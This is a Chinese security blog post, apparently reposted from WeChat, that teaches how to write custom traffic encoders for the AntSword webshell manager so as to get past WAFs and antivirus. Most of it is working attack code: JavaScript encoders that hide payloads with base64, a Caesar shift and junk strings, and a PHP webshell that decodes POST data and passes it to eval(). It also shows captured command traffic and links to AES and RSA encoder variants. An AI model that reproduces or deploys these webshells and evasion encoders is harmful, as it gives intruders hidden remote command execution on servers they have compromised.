魔改蚁剑之零基础编写解码器
2024-1-2 22:41:5 Author: WIN哥学安全(查看原文) 阅读量:16 收藏

本文目录

为什么要自定义编码器

先来看一下自带编码器的流量

编码器选default,执行命令whoami抓包看流量(下图为url解码后的结果)

url解码一下

可以清晰的看到whoami(base64编码后的结果为d2hvYW1p)出现在流量里,所以是百分百被waf拦的

先来分析一下下面这个字符串

cbe5f611c94175=IpY2QgL2QgIkU6XFx0b29sXFx3ZWJcXGppYW56aGFuXFxwaHBzdHVkeV9wcm9cXFdXVyImd2hvYW1pJmVjaG8gM2Y3MWZlYmY0MCZjZCZlY2hvIGUxMzU3NDQ5YTE5Zg==

首先cbe5f611c94175是随机生成的字符串,然后在下面这段代码里提到了对上述字符串的解码过程

$s=base64_decode(substr($_POST["cbe5f611c94175"],2));

就是从 POST 请求中获取名为 "cbe5f611c94175" 的参数,去除前两个字符后,对剩余部分进行 Base64 解码,解码结果为

cd /d "E:\\tool\\web\\jianzhan\\phpstudy_pro\\WWW"&whoami&echo 3f71febf40&cd&echo e1357449a19f

看一下返回结果(黑色打码部分为麋鹿的电脑名)

很明显,命令完全暴露在流量里

如果是换其他编码器,流量特征里也很明显,例如会体现@str_rot13或chr()这些很敏感的函数,再或者是eval函数。所以这时需要我们自定义一个编码器

编码器基础

先来看一下编码器的格式

/**
* php::base64编码器
* Create at: 2023/12/29 16:51:54
*/


'use strict'
;

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/

module.exports = (pwd, data, ext={}) => {
 // ########## 请在下方编写你自己的代码 ###################
 // 以下代码为 PHP Base64 样例

 // 生成一个随机变量名
 let randomID = `_0x${Math.random().toString(16).substr(2)}`;
 // 原有的 payload 在 data['_']中
 // 取出来之后,转为 base64 编码并放入 randomID key 下
 data[randomID] = Buffer.from(data['_']).toString('base64');

 // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
 data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

 // ########## 请在上方编写你自己的代码 ###################

 // 删除 _ 原有的payload
 delete data['_'];
 // 返回编码器处理后的 payload 数组
 return data;
}

其实官方写的很清楚了,但麋鹿还是怕有读者看不懂,那我再解释一下该代码的功能

1.接收三个参数:pwd(连接密码),data(待处理的payload数组),和ext,

2.使用Math.random()生成一个随机数,并将其转换为16进制字符串,形成一个随机变量名randomID

3.将payloadbase64编码放在randomID里

4.生成对应解码的php代码,里面用eval执行解码后的payload

所以上面的数据包里会有milu(pwd密码对应的值)=eval字样,那么如何把eval特征去掉

其实很简单,我们只需要把流量包base64编码一下或者加密一下进行了

如何选择编码或加密函数

先说一下官方编码器里的几个模式--ROT13,chr,chr16,base64。

1.rot13

原理是将原文替换为字母表中的该字母向前或向后移动13个位置的字母,其实就是凯撒加密,只不过因为字母表一共26个字母,所以对一个字符串两次rot13就是原文。

2.chr和chr16呢就更简单了,chr就是对应的ASCII值,chr16就是把ASCII变成了16进制。

比如milu对应的就是zvyh,[109, 105, 108, 117],['0x6d', '0x69', '0x6c', '0x75']。

所以准确来说,官方的编码器过于简单,对于公元前1世纪(凯撒活着那会)可能可以乱杀,但是对于2024年的waf多少有点简陋了。

而且流量包里带有eval这些危险函数,下图是rot13模式

那么麋鹿现在开始介绍现代通讯中常用的加密算法。

对称加密

加密和解密使用相同的密钥,只要有密钥就能解密,速度快。常见算法有AES,DES,3DES。

非对称加密

分公钥私钥,公钥加密,私钥解密,公钥可以公开,私钥保密,速度慢。常见算法有RSA ECC DSA。

对于编码器,对称和非对称都一样,因为我们都要给对方机器发密钥,非对称反而麻烦,这里直接用AES就行,其中可以选AES128或AES256,二者差别在于密钥长度分别是16(128位)和32(256)以及前者加密10轮 后者14轮。

js里的CryptoJS库就提供AES加密算法,只需要提供明文和密钥就行,举个例子。

var CryptoJS = require("crypto-js");
var message = "milu";
var key = "milu1234";
var encrypted = CryptoJS.AES.encrypt(message, key).toString();
console.log(encrypted); // 输出加密后的字符串

不过这里我没有提供iv,下面麋鹿带各位读者从零开始写一个编码器

打造自己的编码器

先写一个简单的,凯撒+base64+垃圾字符去掉eval特征

思路为先base64,再在每8个字符后插入 "yuandankuaile"(元旦快乐),最后使用凯撒加密法对整个字符串将每个字符后移三位

module.exports = (pwd, data, ext = {}) => {
 // 将原始 payload 转换为 base64 编码
 data[pwd] = Buffer.from(data['_']).toString('base64');

 // 在每8个字符后插入 "元旦快乐"
 let modifiedString = "";
 for (let i = 0; i < data[pwd].length; i++) {
   modifiedString += data[pwd][i];
   if ((i + 1) % 8 === 0) {
     modifiedString += "yuandankuaile";
   }
 }

 // 凯撒加密:每个字符后移三位
 let caesarEncoded = modifiedString.split('').map(c =>
   c.match(/[a-zA-Z]/) ?
   String.fromCharCode((c.charCodeAt(0) - (c.charCodeAt(0) >= 97 ? 97 : 65) + 3) % 26 + (c.charCodeAt(0) >= 97 ? 97 : 65)) :
   c
 ).join('');

 // 最后对整个字符串进行 base64 编码
 data[pwd] = Buffer.from(caesarEncoded).toString('base64');

 // 删除原有的 payload
 delete data['_'];

 // 返回处理后的数据
 return data;
};
对应的php代码

<?php

function decryptPayload($encodedData) {
   // Base64 解码
   $caesarEncoded = base64_decode($encodedData);

   // 凯撒解密:每个字符前移三位
   $caesarDecoded = '';
   foreach (str_split($caesarEncoded) as $char) {
       if (ctype_alpha($char)) {
           $offset = ctype_lower($char) ? 97 : 65;
           $caesarDecoded .= chr((ord($char) - $offset - 3 + 26) % 26 + $offset);
       } else {
           $caesarDecoded .= $char;
       }
   }

   // 移除 "元旦快乐"
   $base64Encoded = str_replace("yuandankuaile", "", $caesarDecoded);

   // Base64 解码以还原原始数据
   $originalData = base64_decode($base64Encoded);

   return $originalData;
}

// 从 POST 请求中获取加密数据
$encryptedData = isset($_POST['milu']) ? $_POST['milu'] : '';
if (!empty($encryptedData)) {
   $decryptedData = decryptPayload($encryptedData);
   eval($decryptedData);
} else {
   echo "没有接收到数据";
}

?>

保存编码器为easy,蚁剑里选编码器为easy,解码器为default(因为php里已经进行解密了),成功连接

再看一下执行命令的数据包

流量里没有了eval这些

看一看查杀情况

还是被杀,那改一下执行的方法,先看一下是否可以执行命令

ok,看看查杀情况

随便绕过,但是这是麋鹿自用的手法,所以就不公开了,不过后续麋鹿会在我的知识星球里更新我的一些免杀手法,敬请期待我的星球上线!

那我们是否可以在编码器的加密上再做点文章?

流量里虽然没有了eval,但还是会体现whoami这些指令

这也简单,只需要对data[]里的其他参数做一些变化就行了

去掉命令特征

对除 _ 之外的键值对进行 Base64 编码,并在每三个字符后插入两个随机字符

'use strict';

module.exports = (pwd, data, ext = {}) => {
 let ret = {};

 // 生成随机的两位字符的函数
 function generateRandomChars(length) {
   let result = '';
   let characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
   let charactersLength = characters.length;
   for (let i = 0; i < length; i++) {
     result += characters.charAt(Math.floor(Math.random() * charactersLength));
   }
   return result;
 }

 // 遍历 data 对象,除了 '_' 键之外的每个键进行 Base64 编码
 for (let key in data) {
   if (key === '_') { continue; }

   // 对 data[key] 的值进行 Base64 编码
   let base64Encoded = Buffer.from(data[key]).toString('base64');

   // 在每三个字符后插入随机的两位字符
   let modifiedStringForKey = "";
   for (let i = 0, len = base64Encoded.length; i < len; i += 3) {
     modifiedStringForKey += base64Encoded.substring(i, i + 3);
     if (i + 3 < len) { // 避免在字符串末尾添加
       modifiedStringForKey += generateRandomChars(2);
     }
   }

   // 保存修改后的字符串
   ret[key] = modifiedStringForKey;
 }

 // 对 data['_'] 的值进行特殊处理
 if (data['_']) {
   // 首先将 data['_'] 转换为 Base64 编码
   let base64Encoded = Buffer.from(data['_']).toString('base64');

   // 在每8个字符后插入 "yuandankuaile"
   let modifiedString = "";
   for (let i = 0; i < base64Encoded.length; i++) {
     modifiedString += base64Encoded[i];
     if ((i + 1) % 8 === 0) {
       modifiedString += "yuandankuaile";
     }
   }

   // 对修改后的字符串进行凯撒加密,每个字符后移三位
   let caesarEncoded = modifiedString.split('').map(c =>
     c.match(/[a-zA-Z]/) ?
     String.fromCharCode((c.charCodeAt(0) - (c.charCodeAt(0) >= 97 ? 97 : 65) + 3) % 26 + (c.charCodeAt(0) >= 97 ? 97 : 65)) :
     c
   ).join('');

   // 再次对整个字符串进行 Base64 编码
   data[pwd] = Buffer.from(caesarEncoded).toString('base64');
 }

 // 删除原有的 payload
 delete data['_'];

 // 将 ret 对象中的内容合并到 data 中
 Object.assign(data, ret);

 // 返回处理后的数据
 return data;
};

看一下流量包

把j3da9e0259be83的值摘出来

ZFJZMlFnTDJRZ0lrVTZMM1J2YjJ3dmQyVmlMMnBwWVc1NmFHRnVMM0JvY0hOMGRXUjVYM0J5Ynk5WFYxY2lKbmRvYjJGdGFTWmxZMmh2SURnM05UbGtPR1ltWTJRbVpXTm9ieUJsWVRBMk5qUmo=

先去掉每三个字符后的两个随机字符,然后再base64解码,得到下面这个字符串

dRY2QgL2QgIkU6L3Rvb2wvd2ViL2ppYW56aGFuL3BocHN0dWR5X3Byby9XV1ciJndob2FtaSZlY2hvIDg3NTlkOGYmY2QmZWNobyBlYTA2NjRj

是不是很眼熟?这不就是default里的流量吗?去掉前俩个字符然后base64解密

选择其他加密算法

先说aes

github上有现成的

https://github.com/AntSwordProject/AwesomeEncoder/blob/master/php/encoder/aes_256_cfb_zero_padding.js

不过可能存在cookie的问题,其实这个问题也好解决,自定义一个字符串进行hash一下,得到一个SHA-256 哈希值(或128,对应不同模式)

const keySource = 'milu';
const hash = crypto.createHash('sha256');
hash.update(keySource);
const key = hash.digest('hex'); // 使用 'hex' 以获取十六进制字符串形式的哈希值

再说RSA

也有现成的

不过要求php开了openssl模块


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwODM3NjIxOQ==&mid=2247495909&idx=2&sn=b0e3dbfa179690dfaefbeaef60792e29&chksm=c147ff34f550b2445f1a91947fd222377745f526f56a2a59e45fb75ffe3b6a081db982dfbfff&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh